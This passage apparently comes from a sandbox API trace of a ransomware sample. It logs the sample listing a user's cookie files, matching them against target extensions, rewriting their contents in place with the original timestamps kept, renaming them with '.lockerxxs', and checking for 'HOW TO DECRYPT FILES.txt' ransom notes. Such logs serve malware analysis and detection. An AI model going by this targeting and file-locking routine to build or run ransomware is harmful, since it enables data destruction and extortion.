HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt" [0088.294] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt." [0088.295] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt.lockerxxs" [0088.295] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0088.297] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x227 [0088.297] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x1d72bcd0, dwHighDateTime=0x1d35d06), lpLastAccessTime=0x407536*(dwLowDateTime=0x1e6a4bd0, dwHighDateTime=0x1d35d06), lpLastWriteTime=0x40753e*(dwLowDateTime=0x1e6a4bd0, dwHighDateTime=0x1d35d06)) returned 1 [0088.297] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.298] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x201, lpOverlapped=0x0) returned 1 [0088.299] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt") returned="5p5nrgjn0js_halpmcxz@adobe[3].txt" [0088.299] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.300] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x201, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x201, lpOverlapped=0x0) returned 1 [0088.300] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.300] CloseHandle (hObject=0x98) returned 1 [0088.300] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt.lockerxxs")) returned 1 [0088.303] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1d8f4d50, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1e658910, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1e658910, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x1800031b, dwReserved1=0x4e00c4, cFileName="5p5nrgjn0js_halpmcxz@demdex[1].txt", cAlternateFileName="5PFFE8~1.TXT")) returned 1 [0088.303] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.303] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="5p5nrgjn0js_halpmcxz@demdex[1].txt") returned 1 [0088.303] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="5p5nrgjn0js_halpmcxz@demdex[1].txt") returned 1 [0088.303] lstrcmpiA (lpString1="", lpString2="5p5nrgjn0js_halpmcxz@demdex[1].txt") returned -1 [0088.303] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt") returned="5p5nrgjn0js_halpmcxz@adobe[3].txt" [0088.303] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\" [0088.303] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\") returned="" [0088.304] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\HOW TO DECRYPT FILES.txt" [0088.304] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\how to decrypt files.txt")) returned 0x2020 [0088.304] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\", lpString2="5p5nrgjn0js_halpmcxz@demdex[1].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt" [0088.304] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt", pszSpec="*.ems") returned 0 [0088.304] lstrlenA (lpString="*.ems") returned 5 [0088.304] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt", pszSpec="*.db") returned 0 [0088.304] lstrlenA (lpString="*.db") returned 4 [0088.304] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt", pszSpec="*.dbf") returned 0 [0088.304] lstrlenA (lpString="*.dbf") returned 5 [0088.304] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt", pszSpec="*.myox") returned 0 [0088.304] lstrlenA (lpString="*.myox") returned 6 [0088.304] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt", pszSpec="*.myo") returned 0 [0088.304] lstrlenA (lpString="*.myo") returned 5 [0088.304] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt", pszSpec="*.qbw") returned 0 [0088.304] lstrlenA (lpString="*.qbw") returned 5 [0088.305] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt", pszSpec="*.qbb") returned 0 [0088.305] lstrlenA (lpString="*.qbb") returned 5 [0088.305] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt", pszSpec="*.qbm") returned 0 [0088.305] lstrlenA (lpString="*.qbm") returned 5 [0088.305] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt", pszSpec="*.qbo") returned 0 [0088.305] lstrlenA (lpString="*.qbo") returned 5 [0088.305] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt", pszSpec="*.qbx") returned 0 [0088.305] lstrlenA (lpString="*.qbx") returned 5 [0088.305] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt", pszSpec="*.qba") returned 0 [0088.305] lstrlenA (lpString="*.qba") returned 5 [0088.305] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt", pszSpec="*.qby") returned 0 [0088.305] lstrlenA (lpString="*.qby") returned 5 [0088.305] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt", pszSpec="*.qbj") returned 0 [0088.305] lstrlenA (lpString="*.qbj") returned 5 [0088.305] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt", pszSpec="*.ofx") returned 0 [0088.305] lstrlenA (lpString="*.ofx") returned 5 [0088.305] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt", pszSpec="*.qif") returned 0 [0088.305] lstrlenA (lpString="*.qif") returned 5 [0088.305] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt", pszSpec="*.mye") returned 0 [0088.305] lstrlenA (lpString="*.mye") returned 5 [0088.306] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt", pszSpec="*.mbox") returned 0 [0088.306] lstrlenA (lpString="*.mbox") returned 6 [0088.306] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt", pszSpec="*.eml") returned 0 [0088.306] lstrlenA (lpString="*.eml") returned 5 [0088.306] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt", pszSpec="*.pst") returned 0 [0088.306] lstrlenA (lpString="*.pst") returned 5 [0088.306] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt", pszSpec="*.ost") returned 0 [0088.306] lstrlenA (lpString="*.ost") returned 5 [0088.306] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt", pszSpec="*.idx") returned 0 [0088.306] lstrlenA (lpString="*.idx") returned 5 [0088.306] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt", pszSpec="*.dbx") returned 0 [0088.306] lstrlenA (lpString="*.dbx") returned 5 [0088.306] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt", pszSpec="*.sql") returned 0 [0088.306] lstrlenA (lpString="*.sql") returned 5 [0088.306] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt", pszSpec="*.mdb") returned 0 [0088.306] lstrlenA (lpString="*.mdb") returned 5 [0088.306] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt", pszSpec="*.fdb") returned 0 [0088.306] lstrlenA (lpString="*.fdb") returned 5 [0088.307] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt", pszSpec="*.wab") returned 0 [0088.307] lstrlenA (lpString="*.wab") returned 5 [0088.307] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt", pszSpec="*.dat") returned 0 [0088.307] lstrlenA (lpString="*.dat") returned 5 [0088.307] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt", pszSpec="*.txt") returned 1 [0088.307] lstrlenA (lpString="*.txt") returned 5 [0088.307] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt" [0088.307] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt" [0088.307] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt." [0088.307] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt.lockerxxs" [0088.307] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0088.310] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xf1 [0088.310] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x1d8f4d50, dwHighDateTime=0x1d35d06), lpLastAccessTime=0x407536*(dwLowDateTime=0x1e658910, dwHighDateTime=0x1d35d06), lpLastWriteTime=0x40753e*(dwLowDateTime=0x1e658910, dwHighDateTime=0x1d35d06)) returned 1 [0088.310] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.310] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xcb, lpOverlapped=0x0) returned 1 [0088.312] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt") returned="5p5nrgjn0js_halpmcxz@demdex[1].txt" [0088.312] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.312] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xcb, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xcb, lpOverlapped=0x0) returned 1 [0088.312] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.312] CloseHandle (hObject=0x98) returned 1 [0088.312] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt.lockerxxs")) returned 1 [0088.314] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1e658910, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1e658910, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1e658910, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x6f, dwReserved0=0x1900031a, dwReserved1=0x4e00c4, cFileName="5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt", cAlternateFileName="5PB43E~1.TXT")) returned 1 [0088.314] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.314] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt") returned 1 [0088.314] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt") returned 1 [0088.314] lstrcmpiA (lpString1="", lpString2="5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt") returned -1 [0088.314] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt") returned="5p5nrgjn0js_halpmcxz@demdex[1].txt" [0088.315] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\" [0088.315] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\") returned="" [0088.315] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\HOW TO DECRYPT FILES.txt" [0088.315] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\how to decrypt files.txt")) returned 0x2020 [0088.315] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\", lpString2="5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt" [0088.315] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt", pszSpec="*.ems") returned 0 [0088.315] lstrlenA (lpString="*.ems") returned 5 [0088.315] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt", pszSpec="*.db") returned 0 [0088.315] lstrlenA (lpString="*.db") returned 4 [0088.315] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt", pszSpec="*.dbf") returned 0 [0088.315] lstrlenA (lpString="*.dbf") returned 5 [0088.315] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt", pszSpec="*.myox") returned 0 [0088.315] lstrlenA (lpString="*.myox") returned 6 [0088.315] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt", pszSpec="*.myo") returned 0 [0088.315] lstrlenA (lpString="*.myo") returned 5 [0088.316] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt", pszSpec="*.qbw") returned 0 [0088.316] lstrlenA (lpString="*.qbw") returned 5 [0088.316] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt", pszSpec="*.qbb") returned 0 [0088.316] lstrlenA (lpString="*.qbb") returned 5 [0088.316] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt", pszSpec="*.qbm") returned 0 [0088.316] lstrlenA (lpString="*.qbm") returned 5 [0088.316] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt", pszSpec="*.qbo") returned 0 [0088.316] lstrlenA (lpString="*.qbo") returned 5 [0088.316] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt", pszSpec="*.qbx") returned 0 [0088.316] lstrlenA (lpString="*.qbx") returned 5 [0088.316] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt", pszSpec="*.qba") returned 0 [0088.316] lstrlenA (lpString="*.qba") returned 5 [0088.316] PathMatchSpecA 